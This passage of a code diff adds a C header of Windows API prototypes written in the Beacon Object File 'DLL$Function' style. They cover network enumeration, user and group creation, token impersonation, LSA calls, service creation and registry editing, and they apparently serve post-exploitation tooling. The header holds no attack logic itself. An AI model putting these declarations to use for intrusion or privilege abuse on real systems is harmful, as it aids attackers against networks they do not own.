WS2_32$WSACleanup(void); +WINBASEAPI int WINAPI WS2_32$ntohs(u_short netshort); +WINBASEAPI int WINAPI WS2_32$bind(SOCKET s,const struct sockaddr *addr,int namelen); +WINBASEAPI int WINAPI WS2_32$listen(SOCKET s,int backlog); +WINBASEAPI SOCKET WINAPI WS2_32$accept(SOCKET s,struct sockaddr *addr,int *addrlen); +WINBASEAPI SOCKET WINAPI WS2_32$send(SOCKET s,const char *buf,int len,int flags); + +//winhttp +WINBASEAPI HINTERNET WINAPI WINHTTP$WinHttpOpen(LPCWSTR,DWORD,LPCWSTR,LPCWSTR,DWORD); +WINBASEAPI HINTERNET WINAPI WINHTTP$WinHttpConnect(HINTERNET,LPCWSTR,INTERNET_PORT,DWORD); +WINBASEAPI HINTERNET WINAPI WINHTTP$WinHttpOpenRequest(HINTERNET,LPCWSTR,LPCWSTR,LPCWSTR,LPCWSTR,LPCWSTR*,DWORD); +WINBASEAPI WINBOOL WINAPI WINHTTP$WinHttpAddRequestHeaders(HINTERNET,LPCWSTR,DWORD,DWORD); +WINBASEAPI WINBOOL WINAPI WINHTTP$WinHttpSendRequest(HINTERNET,LPCWSTR,DWORD,LPVOID,DWORD,DWORD,DWORD_PTR); +WINBASEAPI WINBOOL WINAPI WINHTTP$WinHttpReceiveResponse(HINTERNET,LPVOID); +WINBASEAPI WINBOOL WINAPI WINHTTP$WinHttpReadData(HINTERNET,LPVOID,DWORD,LPDWORD); +WINBASEAPI WINBOOL WINAPI WINHTTP$WinHttpCloseHandle(HINTERNET); + + +//NETAPI32 +WINBASEAPI DWORD WINAPI NETAPI32$DsGetDcNameA(LPCSTR ComputerName,LPCSTR DomainName,GUID *DomainGuid,LPCSTR SiteName,ULONG Flags,PDOMAIN_CONTROLLER_INFOA *DomainControllerInfo); +WINBASEAPI DWORD WINAPI NETAPI32$DsGetDcNameW(LPCWSTR ComputerName,LPCWSTR DomainName,GUID *DomainGuid,LPCWSTR SiteName,ULONG Flags,PDOMAIN_CONTROLLER_INFOW *DomainControllerInfo); +WINBASEAPI DWORD WINAPI NETAPI32$NetUserGetInfo(LPCWSTR servername,LPCWSTR username,DWORD level,LPBYTE *bufptr); +WINBASEAPI DWORD WINAPI NETAPI32$NetUserModalsGet(LPCWSTR servername,DWORD level,LPBYTE *bufptr); +WINBASEAPI DWORD WINAPI NETAPI32$NetServerEnum(LMCSTR servername,DWORD level,LPBYTE *bufptr,DWORD prefmaxlen,LPDWORD entriesread,LPDWORD totalentries,DWORD servertype,LMCSTR domain,LPDWORD resume_handle); +WINBASEAPI DWORD WINAPI NETAPI32$NetUserGetGroups(LPCWSTR servername,LPCWSTR username,DWORD level,LPBYTE *bufptr,DWORD prefmaxlen,LPDWORD entriesread,LPDWORD totalentries); +WINBASEAPI DWORD WINAPI NETAPI32$NetUserGetLocalGroups(LPCWSTR servername,LPCWSTR username,DWORD level,DWORD flags,LPBYTE *bufptr,DWORD prefmaxlen,LPDWORD entriesread,LPDWORD totalentries); +WINBASEAPI DWORD WINAPI NETAPI32$NetApiBufferFree(LPVOID Buffer); +WINBASEAPI DWORD WINAPI NETAPI32$NetGetAnyDCName(LPCWSTR servername,LPCWSTR domainname,LPBYTE *bufptr); +WINBASEAPI DWORD WINAPI NETAPI32$NetUserEnum(LPCWSTR servername,DWORD level,DWORD filter,LPBYTE *bufptr,DWORD prefmaxlen,LPDWORD entriesread,LPDWORD totalentries,LPDWORD resume_handle); +WINBASEAPI DWORD WINAPI NETAPI32$NetGroupGetUsers(LPCWSTR servername,LPCWSTR groupname,DWORD level,LPBYTE *bufptr,DWORD prefmaxlen,LPDWORD entriesread,LPDWORD totalentries,PDWORD_PTR ResumeHandle); +WINBASEAPI DWORD WINAPI NETAPI32$NetQueryDisplayInformation(LPCWSTR ServerName,DWORD Level,DWORD Index,DWORD EntriesRequested,DWORD PreferredMaximumLength,LPDWORD ReturnedEntryCount,PVOID *SortedBuffer); +WINBASEAPI DWORD WINAPI NETAPI32$NetLocalGroupEnum(LPCWSTR servername,DWORD level,LPBYTE *bufptr,DWORD prefmaxlen,LPDWORD entriesread,LPDWORD totalentries,PDWORD_PTR resumehandle); +WINBASEAPI DWORD WINAPI NETAPI32$NetLocalGroupGetMembers(LPCWSTR servername,LPCWSTR localgroupname,DWORD level,LPBYTE *bufptr,DWORD prefmaxlen,LPDWORD entriesread,LPDWORD totalentries,PDWORD_PTR resumehandle); +WINBASEAPI DWORD WINAPI NETAPI32$NetLocalGroupAddMembers(LPCWSTR servername,LPCWSTR groupname,DWORD level,LPBYTE buf,DWORD totalentries); +WINBASEAPI DWORD WINAPI NETAPI32$NetUserSetInfo(LPCWSTR servername,LPCWSTR username,DWORD level,LPBYTE buf,LPDWORD parm_err); +WINBASEAPI DWORD WINAPI NETAPI32$NetShareEnum(LMSTR servername,DWORD level,LPBYTE *bufptr,DWORD prefmaxlen,LPDWORD entriesread,LPDWORD totalentries,LPDWORD resume_handle); +WINBASEAPI DWORD WINAPI NETAPI32$NetSessionEnum(LPCWSTR servername, LPCWSTR UncClientName, LPCWSTR username, DWORD level, LPBYTE* bufptr, DWORD prefmaxlen, LPDWORD entriesread, LPDWORD totalentries, LPDWORD resumehandle); +WINBASEAPI DWORD WINAPI NETAPI32$NetApiBufferFree(LPVOID Buffer); +WINBASEAPI DWORD WINAPI NETAPI32$NetGroupAddUser(LPCWSTR servername,LPCWSTR GroupName,LPCWSTR userName); +WINBASEAPI DWORD WINAPI NETAPI32$NetGroupAddUser(LPCWSTR servername,LPCWSTR GroupName,LPCWSTR userName); +WINBASEAPI DWORD WINAPI NETAPI32$NetUserAdd(LPCWSTR servername, DWORD level, LPBYTE buf, LPDWORD parm_err); + +//MPR +WINBASEAPI DWORD WINAPI MPR$WNetOpenEnumW(DWORD dwScope, DWORD dwType, DWORD dwUsage, LPNETRESOURCEW lpNetResource, LPHANDLE lphEnum); +WINBASEAPI DWORD WINAPI MPR$WNetEnumResourceW(HANDLE hEnum, LPDWORD lpcCount, LPVOID lpBuffer, LPDWORD lpBufferSize); +WINBASEAPI DWORD WINAPI MPR$WNetCloseEnum(HANDLE hEnum); +WINBASEAPI DWORD WINAPI MPR$WNetGetNetworkInformationW(LPCWSTR lpProvider, LPNETINFOSTRUCT lpNetInfoStruct); +WINBASEAPI DWORD WINAPI MPR$WNetGetConnectionW(LPCWSTR lpLocalName, LPWSTR lpRemoteName, LPDWORD lpnLength); +WINBASEAPI DWORD WINAPI MPR$WNetGetResourceInformationW(LPNETRESOURCEW lpNetResource, LPVOID lpBuffer, LPDWORD lpcbBuffer, LPWSTR *lplpSystem); +WINBASEAPI DWORD WINAPI MPR$WNetGetUserW(LPCWSTR lpName, LPWSTR lpUserName, LPDWORD lpnLength); +WINBASEAPI DWORD WINAPI MPR$WNetAddConnection2W(LPNETRESOURCEW lpNetResource, LPCWSTR lpPassword, LPCWSTR lpUserName, DWORD dwFlags); +WINBASEAPI DWORD WINAPI MPR$WNetCancelConnection2W(LPCWSTR lpName, DWORD dwFlags, BOOL fForce); + +//USER32 +WINUSERAPI LPWSTR WINAPI USER32$CharPrevW(LPCWSTR lpszStart,LPCWSTR lpszCurrent); +WINUSERAPI UINT WINAPI USER32$DdeInitializeA(LPDWORD pidInst,PFNCALLBACK pfnCallback,DWORD afCmd,DWORD ulRes); +WINUSERAPI HCONVLIST WINAPI USER32$DdeConnectList(DWORD idInst,HSZ hszService,HSZ hszTopic,HCONVLIST hConvList,PCONVCONTEXT pCC); +WINUSERAPI WINBOOL WINAPI USER32$DdeDisconnectList(HCONVLIST hConvList); +WINUSERAPI WINBOOL WINAPI USER32$DdeUninitialize(DWORD idInst); +WINUSERAPI int WINAPI USER32$EnumDesktopWindows(HDESK hDesktop,WNDENUMPROC lpfn,LPARAM lParam); +WINUSERAPI WINBOOL WINAPI USER32$EnumWindows(WNDENUMPROC lpEnumFunc,LPARAM lParam); +WINUSERAPI HWND WINAPI USER32$FindWindowA(LPCSTR lpszClass,LPCSTR lpszWindow); +WINUSERAPI HWND WINAPI USER32$FindWindowExA(HWND hWndParent,HWND hWndChildAfter,LPCSTR lpszClass,LPCSTR lpszWindow); +WINUSERAPI int WINAPI USER32$GetClassNameA(HWND hWnd,LPSTR lpClassName,int nMaxCount); +WINUSERAPI HANDLE WINAPI USER32$GetPropA(HWND hWnd,LPCSTR lpString); +WINUSERAPI LONG WINAPI USER32$GetWindowLongA(HWND hWnd,int nIndex); +WINUSERAPI LONG_PTR WINAPI USER32$GetWindowLongPtrA(HWND hWnd,int nIndex); +WINUSERAPI int WINAPI USER32$GetWindowTextA(HWND hWnd,LPSTR lpString,int nMaxCount); +WINUSERAPI DWORD WINAPI USER32$GetWindowThreadProcessId(HWND hWnd,LPDWORD lpdwProcessId); +WINUSERAPI int WINAPI USER32$IsWindowVisible(HWND hWnd); +WINUSERAPI WINBOOL WINAPI USER32$PostMessageA(HWND hWnd,UINT Msg,WPARAM wParam,LPARAM lParam); +WINUSERAPI LRESULT WINAPI USER32$SendMessageA(HWND hWnd,UINT Msg,WPARAM wParam,LPARAM lParam); +WINUSERAPI LRESULT WINAPI USER32$SendMessageTimeoutW(HWND hWnd,UINT Msg,WPARAM wParam,LPARAM lParam,UINT fuFlags,UINT uTimeout,PDWORD_PTR lpdwResult); +WINUSERAPI BOOL WINAPI USER32$SetPropA(HWND hWnd,LPCSTR lpString,HANDLE hData); +WINUSERAPI LONG WINAPI USER32$SetWindowLongA(HWND hWnd,int nIndex, LONG dwNewLong); +WINUSERAPI LONG_PTR WINAPI USER32$SetWindowLongPtrA(HWND hWnd,int nIndex, LONG_PTR dwNewLong); +WINUSERAPI UINT_PTR WINAPI USER32$SetTimer(HWND hWnd, UINT_PTR nIDEvent, UINT uElapse, TIMERPROC lpTimerFunc); +WINUSERAPI WINBOOL WINAPI USER32$KillTimer(HWND hWnd, UINT_PTR uIDEvent); +WINUSERAPI WINBOOL WINAPI USER32$PostMessageW(HWND hWnd, UINT Msg, WPARAM wParam, LPARAM lParam); +WINUSERAPI HDC WINAPI USER32$BeginPaint(HWND hWnd, LPPAINTSTRUCT lpPaint); +WINUSERAPI WINBOOL WINAPI USER32$GetClientRect(HWND hWnd, LPRECT lpRect); +WINUSERAPI int WINAPI USER32$FillRect(HDC hDC, CONST RECT *lprc, HBRUSH hbr); +WINUSERAPI int WINAPI USER32$DrawTextW(HDC hdc, LPCWSTR lpchText, int cchText, LPRECT lprc, UINT format); +WINUSERAPI WINBOOL WINAPI USER32$EndPaint(HWND hWnd, CONST PAINTSTRUCT *lpPaint); +WINUSERAPI WINBOOL WINAPI USER32$DestroyWindow(HWND hWnd); +WINUSERAPI VOID WINAPI USER32$PostQuitMessage(int nExitCode); +WINUSERAPI LRESULT WINAPI USER32$DefWindowProcW(HWND hWnd, UINT Msg, WPARAM wParam, LPARAM lParam); +WINUSERAPI LRESULT WINAPI USER32$DispatchMessageW(CONST MSG *lpMsg); +WINUSERAPI WINBOOL WINAPI USER32$TranslateMessage(CONST MSG *lpMsg); +WINUSERAPI WINBOOL WINAPI USER32$GetMessageW(LPMSG lpMsg, HWND hWnd, UINT wMsgFilterMin, UINT wMsgFilterMax); +WINUSERAPI HWND WINAPI USER32$SetFocus(HWND hWnd); +WINUSERAPI ATOM WINAPI USER32$RegisterClassExW(CONST WNDCLASSEXW *lpwcx); +WINUSERAPI WINBOOL WINAPI USER32$SetForegroundWindow(HWND hWnd); +WINUSERAPI WINBOOL WINAPI USER32$UpdateWindow(HWND hWnd); +WINUSERAPI WINBOOL WINAPI USER32$ShowWindow(HWND hWnd, int nCmdShow); +WINUSERAPI WINBOOL WINAPI USER32$UnregisterClassW(LPCWSTR lpClassName, HINSTANCE hInstance); +WINUSERAPI HWND WINAPI USER32$CreateWindowExW(DWORD dwExStyle, LPCWSTR lpClassName, LPCWSTR lpWindowName, DWORD dwStyle, int X, int Y, int nWidth, int nHeight, HWND hWndParent, HMENU hMenu, HINSTANCE hInstance, LPVOID lpParam); +WINUSERAPI int WINAPI USER32$GetSystemMetrics(int nIndex); + +//SSPICLI +WINBASEAPI DWORD WINAPI SSPICLI$EnumerateSecurityPackagesA(unsigned long*, PSecPkgInfoA*); +WINBASEAPI SECURITY_STATUS WINAPI SSPICLI$FreeContextBuffer(void *pvContextBuffer); + +//SECUR32 +WINBASEAPI BOOLEAN WINAPI SECUR32$GetUserNameExA (int NameFormat, LPSTR lpNameBuffer, PULONG nSize); +WINBASEAPI BOOLEAN WINAPI SECUR32$GetUserNameExW (int NameFormat, LPWSTR lpNameBuffer, PULONG nSize); +WINBASEAPI BOOLEAN WINAPI SECUR32$GetComputerObjectNameW (int NameFormat, LPWSTR lpNameBuffer, PULONG nSize); +WINBASEAPI SECURITY_STATUS WINAPI SECUR32$FreeCredentialsHandle(PCredHandle phCredential); +WINBASEAPI DWORD WINAPI SECUR32$AcquireCredentialsHandleA(LPSTR, LPSTR, unsigned long, void*, void*, SEC_GET_KEY_FN, void *, PCredHandle, PTimeStamp); +WINBASEAPI DWORD WINAPI SECUR32$InitializeSecurityContextA(PCredHandle, PCtxtHandle, SEC_CHAR*, unsigned long, unsigned long, unsigned long, PSecBufferDesc, unsigned long, PCtxtHandle, PSecBufferDesc, unsigned long *, PTimeStamp); +WINBASEAPI DWORD WINAPI SECUR32$InitializeSecurityContextW(PCredHandle, PCtxtHandle, SEC_WCHAR*, unsigned long, unsigned long, unsigned long, PSecBufferDesc, unsigned long, PCtxtHandle, PSecBufferDesc, unsigned long *, PTimeStamp); +WINBASEAPI DWORD WINAPI SECUR32$AcceptSecurityContext(PCredHandle, PCtxtHandle, PSecBufferDesc, unsigned long, unsigned long, PCtxtHandle, PSecBufferDesc, unsigned long *, PTimeStamp); +WINBASEAPI SECURITY_STATUS WINAPI SECUR32$DeleteSecurityContext(PCtxtHandle phContext); +WINBASEAPI DWORD WINAPI SECUR32$AcquireCredentialsHandleA(LPSTR, LPSTR, unsigned long, void*, void*, SEC_GET_KEY_FN, void *, PCredHandle, PTimeStamp); +WINBASEAPI DWORD WINAPI SECUR32$AcceptSecurityContext(PCredHandle, PCtxtHandle, PSecBufferDesc, unsigned long, unsigned long, PCtxtHandle, PSecBufferDesc, unsigned long *, PTimeStamp); +WINBASEAPI DWORD WINAPI SECUR32$LsaConnectUntrusted(PHANDLE); +WINBASEAPI NTSTATUS NTAPI SECUR32$LsaDeregisterLogonProcess(HANDLE LsaHandle); +WINBASEAPI NTSTATUS NTAPI SECUR32$LsaFreeReturnBuffer (PVOID Buffer); +WINBASEAPI DWORD WINAPI SECUR32$LsaLookupAuthenticationPackage(HANDLE, PLSA_STRING, PULONG); +WINBASEAPI DWORD WINAPI SECUR32$LsaCallAuthenticationPackage(HANDLE, ULONG, PVOID, ULONG, PVOID*, PULONG, PNTSTATUS); + +//VERSION +WINBASEAPI WINBOOL WINAPI VERSION$GetFileVersionInfoA(LPCSTR lptstrFilename, DWORD dwHandle, DWORD dwLen, LPVOID lpData); +WINBASEAPI WINBOOL WINAPI VERSION$GetFileVersionInfoW(LPCWSTR lptstrFilename,DWORD dwHandle,DWORD dwLen,LPVOID lpData); +WINBASEAPI DWORD WINAPI VERSION$GetFileVersionInfoSizeA(LPCSTR lptstrFilenamea ,LPDWORD lpdwHandle); +WINBASEAPI DWORD WINAPI VERSION$GetFileVersionInfoSizeW(LPCWSTR lptstrFilename,LPDWORD lpdwHandle); +WINBASEAPI WINBOOL WINAPI VERSION$VerQueryValueA(LPCVOID pBlock, LPCSTR lpSubBlock, LPVOID *lplpBuffer, PUINT puLen); +WINBASEAPI WINBOOL WINAPI VERSION$VerQueryValueW(LPCVOID pBlock,LPCWSTR lpSubBlock,LPVOID *lplpBuffer,PUINT puLen); + +//FLTLIB +HRESULT WINAPI FLTLIB$FilterUnload(LPCWSTR lpFilterName); + +//ADVAPI32 +WINADVAPI WINBOOL WINAPI ADVAPI32$LookupAccountNameA (LPCSTR lpSystemName, LPCSTR lpAccountName, PSID Sid, LPDWORD cbSid, LPSTR ReferencedDomainName, LPDWORD cchReferencedDomainName, PSID_NAME_USE peUse); +WINADVAPI WINBOOL WINAPI ADVAPI32$GetUserNameA (LPSTR lpBuffer, LPDWORD pcbBuffer); +WINADVAPI WINBOOL WINAPI ADVAPI32$ImpersonateLoggedOnUser (HANDLE hToken); +WINADVAPI WINBOOL WINAPI ADVAPI32$LogonUserA (LPCSTR lpszUsername, LPCSTR lpszDomain, LPCSTR lpszPassword, DWORD dwLogonType, DWORD dwLogonProvider, PHANDLE phToken); +WINADVAPI WINBOOL WINAPI ADVAPI32$LogonUserW (LPCWSTR lpszUsername, LPCWSTR lpszDomain, LPCWSTR lpszPassword, DWORD dwLogonType, DWORD dwLogonProvider, PHANDLE phToken); +WINADVAPI WINBOOL WINAPI ADVAPI32$DuplicateTokenEx (HANDLE hExistingToken, DWORD dwDesiredAccess, LPSECURITY_ATTRIBUTES lpTokenAttributes, SECURITY_IMPERSONATION_LEVEL ImpersonationLevel, TOKEN_TYPE TokenType, PHANDLE phNewToken); +WINADVAPI WINBOOL WINAPI ADVAPI32$AdjustTokenPrivileges (HANDLE TokenHandle, WINBOOL DisableAllPrivileges, PTOKEN_PRIVILEGES NewState, DWORD BufferLength, PTOKEN_PRIVILEGES PreviousState, PDWORD ReturnLength); +WINADVAPI WINBOOL WINAPI ADVAPI32$CreateProcessAsUserW (HANDLE hToken, LPCWSTR lpApplicationName, LPWSTR lpCommandLine, LPSECURITY_ATTRIBUTES lpProcessAttributes, LPSECURITY_ATTRIBUTES lpThreadAttributes, WINBOOL bInheritHandles, DWORD dwCreationFlags, LPVOID lpEnvironment, LPCWSTR lpCurrentDirectory, LPSTARTUPINFOW lpStartupInfo, LPPROCESS_INFORMATION lpProcessInformation); +WINADVAPI WINBOOL WINAPI ADVAPI32$CreateProcessWithLogonW (LPCWSTR lpUsername, LPCWSTR lpDomain, LPCWSTR lpPassword, DWORD dwLogonFlags, LPCWSTR lpApplicationName, LPWSTR lpCommandLine, DWORD dwCreationFlags, LPVOID lpEnvironment, LPCWSTR lpCurrentDirectory, LPSTARTUPINFOW lpStartupInfo, LPPROCESS_INFORMATION lpProcessInformation); +WINADVAPI WINBOOL WINAPI ADVAPI32$CreateProcessWithTokenW (HANDLE hToken, DWORD dwLogonFlags, LPCWSTR lpApplicationName, LPWSTR lpCommandLine, DWORD dwCreationFlags, LPVOID lpEnvironment, LPCWSTR lpCurrentDirectory, LPSTARTUPINFOW lpStartupInfo, LPPROCESS_INFORMATION lpProcessInformation); +WINADVAPI WINBOOL WINAPI ADVAPI32$OpenProcessToken (HANDLE ProcessHandle, DWORD DesiredAccess, PHANDLE TokenHandle); +WINADVAPI WINBOOL WINAPI ADVAPI32$OpenThreadToken (HANDLE ThreadHandle, DWORD DesiredAccess, BOOL OpenAsSelf, PHANDLE TokenHandle); +WINADVAPI WINBOOL WINAPI ADVAPI32$GetTokenInformation (HANDLE TokenHandle, TOKEN_INFORMATION_CLASS TokenInformationClass, LPVOID TokenInformation, DWORD TokenInformationLength, PDWORD ReturnLength); +WINADVAPI WINBOOL WINAPI ADVAPI32$ConvertSidToStringSidA(PSID Sid,LPSTR *StringSid); +WINADVAPI WINBOOL WINAPI ADVAPI32$ConvertSidToStringSidW(PSID Sid,LPWSTR *StringSid); +WINADVAPI WINBOOL WINAPI ADVAPI32$LookupAccountSidA (LPCSTR lpSystemName, PSID Sid, LPSTR Name, LPDWORD cchName, LPSTR ReferencedDomainName, LPDWORD cchReferencedDomainName, PSID_NAME_USE peUse); +WINADVAPI WINBOOL WINAPI ADVAPI32$LookupAccountSidW (LPCWSTR lpSystemName, PSID Sid, LPWSTR Name, LPDWORD cchName, LPWSTR ReferencedDomainName, LPDWORD cchReferencedDomainName, PSID_NAME_USE peUse); +WINADVAPI WINBOOL WINAPI ADVAPI32$LookupPrivilegeNameA (LPCSTR lpSystemName, PLUID lpLuid, LPSTR lpName, LPDWORD cchName); +WINADVAPI WINBOOL WINAPI ADVAPI32$LookupPrivilegeDisplayNameA (LPCSTR lpSystemName, LPCSTR lpName, LPSTR lpDisplayName, LPDWORD cchDisplayName, LPDWORD lpLanguageId); +WINADVAPI WINBOOL WINAPI ADVAPI32$LookupPrivilegeValueA (LPCSTR lpSystemName, LPCSTR lpName, PLUID lpLuid); +WINADVAPI WINBOOL WINAPI ADVAPI32$GetFileSecurityW (LPCWSTR lpFileName, SECURITY_INFORMATION RequestedInformation, PSECURITY_DESCRIPTOR pSecurityDescriptor, DWORD nLength, LPDWORD lpnLengthNeeded); +WINADVAPI VOID WINAPI ADVAPI32$MapGenericMask (PDWORD AccessMask, PGENERIC_MAPPING GenericMapping); +WINADVAPI ULONG WINAPI ADVAPI32$LsaNtStatusToWinError(NTSTATUS); +WINADVAPI WINBOOL WINAPI ADVAPI32$CredMarshalCredentialW(CRED_MARSHAL_TYPE CredType,PVOID Credential,LPWSTR *MarshaledCredential); +WINADVAPI VOID WINAPI ADVAPI32$CredFree (PVOID Buffer); +WINADVAPI WINBOOL WINAPI ADVAPI32$InitializeSecurityDescriptor (PSECURITY_DESCRIPTOR pSecurityDescriptor, DWORD dwRevision); +WINADVAPI WINBOOL WINAPI ADVAPI32$SetSecurityDescriptorDacl (PSECURITY_DESCRIPTOR pSecurityDescriptor, WINBOOL bDaclPresent, PACL pDacl, WINBOOL bDaclDefaulted); +WINADVAPI WINBOOL WINAPI ADVAPI32$ConvertSecurityDescriptorToStringSecurityDescriptorW(PSECURITY_DESCRIPTOR SecurityDescriptor,DWORD RequestedStringSDRevision,SECURITY_INFORMATION SecurityInformation,LPWSTR *StringSecurityDescriptor,PULONG StringSecurityDescriptorLen); +WINADVAPI WINBOOL WINAPI ADVAPI32$GetSecurityDescriptorOwner (PSECURITY_DESCRIPTOR pSecurityDescriptor, PSID *pOwner, LPBOOL lpbOwnerDefaulted); +WINADVAPI WINBOOL WINAPI ADVAPI32$GetSecurityDescriptorDacl (PSECURITY_DESCRIPTOR pSecurityDescriptor, LPBOOL lpbDaclPresent, PACL *pDacl, LPBOOL lpbDaclDefaulted); +WINADVAPI WINBOOL WINAPI ADVAPI32$GetAclInformation (PACL pAcl, LPVOID pAclInformation, DWORD nAclInformationLength, ACL_INFORMATION_CLASS dwAclInformationClass); +WINADVAPI WINBOOL WINAPI ADVAPI32$GetAce (PACL pAcl, DWORD dwAceIndex, LPVOID *pAce); +WINADVAPI SC_HANDLE WINAPI ADVAPI32$OpenSCManagerA(LPCSTR lpMachineName,LPCSTR lpDatabaseName,DWORD dwDesiredAccess); +WINADVAPI SC_HANDLE WINAPI ADVAPI32$OpenSCManagerW(LPCWSTR lpMachineName,LPCWSTR lpDatabaseName,DWORD dwDesiredAccess); +WINADVAPI SC_HANDLE WINAPI ADVAPI32$OpenServiceA(SC_HANDLE hSCManager,LPCSTR lpServiceName,DWORD dwDesiredAccess); +WINADVAPI SC_HANDLE WINAPI ADVAPI32$OpenServiceW(SC_HANDLE hSCManager,LPCWSTR lpServiceName,DWORD dwDesiredAccess); +WINADVAPI SC_HANDLE WINAPI ADVAPI32$CreateServiceA(SC_HANDLE hSCManager,LPCSTR lpServiceName,LPCSTR lpDisplayName,DWORD dwDesiredAccess,DWORD dwServiceType,DWORD dwStartType,DWORD dwErrorControl,LPCSTR lpBinaryPathName,LPCSTR lpLoadOrderGroup,LPDWORD lpdwTagId,LPCSTR lpDependencies,LPCSTR lpServiceStartName,LPCSTR lpPassword); +WINADVAPI WINBOOL WINAPI ADVAPI32$QueryServiceStatus(SC_HANDLE hService,LPSERVICE_STATUS lpServiceStatus); +WINADVAPI WINBOOL WINAPI ADVAPI32$QueryServiceConfigA(SC_HANDLE hService,LPQUERY_SERVICE_CONFIGA lpServiceConfig,DWORD cbBufSize,LPDWORD pcbBytesNeeded); +WINADVAPI WINBOOL WINAPI ADVAPI32$CloseServiceHandle(SC_HANDLE hSCObject); +WINADVAPI WINBOOL WINAPI ADVAPI32$EnumServicesStatusExA(SC_HANDLE hSCManager,SC_ENUM_TYPE InfoLevel,DWORD dwServiceType,DWORD dwServiceState,LPBYTE lpServices,DWORD cbBufSize,LPDWORD pcbBytesNeeded,LPDWORD lpServicesReturned,LPDWORD lpResumeHandle,LPCSTR pszGroupName); +WINADVAPI WINBOOL WINAPI ADVAPI32$EnumServicesStatusExW(SC_HANDLE hSCManager,SC_ENUM_TYPE InfoLevel,DWORD dwServiceType,DWORD dwServiceState,LPBYTE lpServices,DWORD cbBufSize,LPDWORD pcbBytesNeeded,LPDWORD lpServicesReturned,LPDWORD lpResumeHandle,LPCWSTR pszGroupName); +WINADVAPI WINBOOL WINAPI ADVAPI32$EnumDependentServicesA(SC_HANDLE hService,DWORD dwServiceState,LPENUM_SERVICE_STATUSA lpServices,DWORD cbBufSize,LPDWORD pcbBytesNeeded,LPDWORD lpServicesReturned); +WINADVAPI WINBOOL WINAPI ADVAPI32$QueryServiceStatusEx(SC_HANDLE hService,SC_STATUS_TYPE InfoLevel,LPBYTE lpBuffer,DWORD cbBufSize,LPDWORD pcbBytesNeeded); +WINADVAPI WINBOOL WINAPI ADVAPI32$QueryServiceConfig2A(SC_HANDLE hService,DWORD dwInfoLevel,LPBYTE lpBuffer,DWORD cbBufSize,LPDWORD pcbBytesNeeded); +WINADVAPI WINBOOL WINAPI ADVAPI32$ChangeServiceConfig2A(SC_HANDLE hService,DWORD dwInfoLevel,LPVOID lpInfo); +WINADVAPI WINBOOL WINAPI ADVAPI32$ChangeServiceConfigA(SC_HANDLE hService,DWORD dwServiceType,DWORD dwStartType,DWORD dwErrorControl,LPCSTR lpBinaryPathName,LPCSTR lpLoadOrderGroup,LPDWORD lpdwTagId,LPCSTR lpDependencies,LPCSTR lpServiceStartName,LPCSTR lpPassword,LPCSTR lpDisplayName); +WINADVAPI WINBOOL WINAPI ADVAPI32$StartServiceA(SC_HANDLE hService,DWORD dwNumServiceArgs,LPCSTR *lpServiceArgVectors); +WINADVAPI WINBOOL WINAPI ADVAPI32$ControlService(SC_HANDLE hService,DWORD dwControl,LPSERVICE_STATUS lpServiceStatus); +WINADVAPI WINBOOL WINAPI ADVAPI32$DeleteService(SC_HANDLE hService); +WINADVAPI LONG WINAPI ADVAPI32$RegCloseKey(HKEY hKey); +WINADVAPI LONG WINAPI ADVAPI32$RegConnectRegistryA(LPCSTR lpMachineName,HKEY hKey,PHKEY phkResult); +WINADVAPI LONG WINAPI ADVAPI32$RegCopyTreeA(HKEY src, LPCSTR subkey, HKEY dst); +WINADVAPI LONG WINAPI ADVAPI32$RegCreateKeyA(HKEY hKey,LPCSTR lpSubKey,PHKEY phkResult); +WINADVAPI LONG WINAPI ADVAPI32$RegCreateKeyExA(HKEY hKey,LPCSTR lpSubKey,DWORD Reserved,LPSTR lpClass,DWORD dwOptions,REGSAM samDesired,LPSECURITY_ATTRIBUTES lpSecurityAttributes,PHKEY phkResult,LPDWORD lpdwDisposition); +WINADVAPI LONG WINAPI ADVAPI32$RegCreateKeyExW(HKEY hKey,LPCWSTR lpSubKey,DWORD Reserved,LPSTR lpClass,DWORD dwOptions,REGSAM samDesired,LPSECURITY_ATTRIBUTES lpSecurityAttributes,PHKEY phkResult,LPDWORD lpdwDisposition); +WINADVAPI LONG WINAPI ADVAPI32$RegDeleteKeyExA(HKEY hKey,LPCSTR lpSubKey,REGSAM samDesired,DWORD Reserved); +WINADVAPI LONG WINAPI ADVAPI32$RegDeleteKeyExW(HKEY hKey,LPCWSTR lpSubKey,REGSAM samDesired,DWORD Reserved); +WINADVAPI LONG WINAPI ADVAPI32$RegDeleteKeyValueA(HKEY hKey,LPCSTR lpSubKey,LPCSTR lpValueName); +WINADVAPI LONG WINAPI ADVAPI32$RegDeleteKeyValueW(HKEY hKey,LPCWSTR lpSubKey,LPCWSTR lpValueName); +WINADVAPI LONG WINAPI ADVAPI32$RegDeleteTreeA(HKEY base, LPCSTR subkey); +WINADVAPI LONG WINAPI ADVAPI32$RegDeleteTreeW(HKEY base, LPCWSTR subkey); +WINADVAPI LONG WINAPI ADVAPI32$RegDeleteValueA(HKEY hKey,LPCSTR lpValueName); +WINADVAPI LONG WINAPI ADVAPI32$RegDeleteValueW(HKEY hKey,LPCWSTR lpValueName); +WINADVAPI LONG WINAPI ADVAPI32$RegEnumKeyExA(HKEY hKey,DWORD dwIndex,LPSTR lpName,LPDWORD lpcchName,LPDWORD lpReserved,LPSTR lpClass,LPDWORD lpcchClass,PFILETIME lpftLastWriteTime); +WINADVAPI LONG WINAPI ADVAPI32$RegEnumValueA(HKEY hKey,DWORD dwIndex,LPSTR lpValueName,LPDWORD lpcchValueName,LPDWORD lpReserved,LPDWORD lpType,LPBYTE lpData,LPDWORD lpcbData); +WINADVAPI LONG WINAPI ADVAPI32$RegOpenKeyA(HKEY hKey,LPCSTR lpSubKey,PHKEY phkResult); +WINADVAPI LONG WINAPI ADVAPI32$RegOpenKeyExA(HKEY hKey,LPCSTR lpSubKey,DWORD ulOptions,REGSAM samDesired,PHKEY phkResult); +WINADVAPI LONG WINAPI ADVAPI32$RegOpenKeyExW(HKEY hKey,LPCWSTR lpSubKey,DWORD ulOptions,REGSAM samDesired,PHKEY phkResult); +WINADVAPI LONG WINAPI ADVAPI32$RegQueryInfoKeyA(HKEY hKey,LPSTR lpClass,LPDWORD lpcchClass,LPDWORD lpReserved,LPDWORD lpcSubKeys,LPDWORD lpcbMaxSubKeyLen,LPDWORD lpcbMaxClassLen,LPDWORD lpcValues,LPDWORD lpcbMaxValueNameLen,LPDWORD lpcbMaxValueLen,LPDWORD lpcbSecurityDescriptor,PFILETIME lpftLastWriteTime); +WINADVAPI LONG WINAPI ADVAPI32$RegQueryValueExA(HKEY hKey,LPCSTR lpValueName,LPDWORD 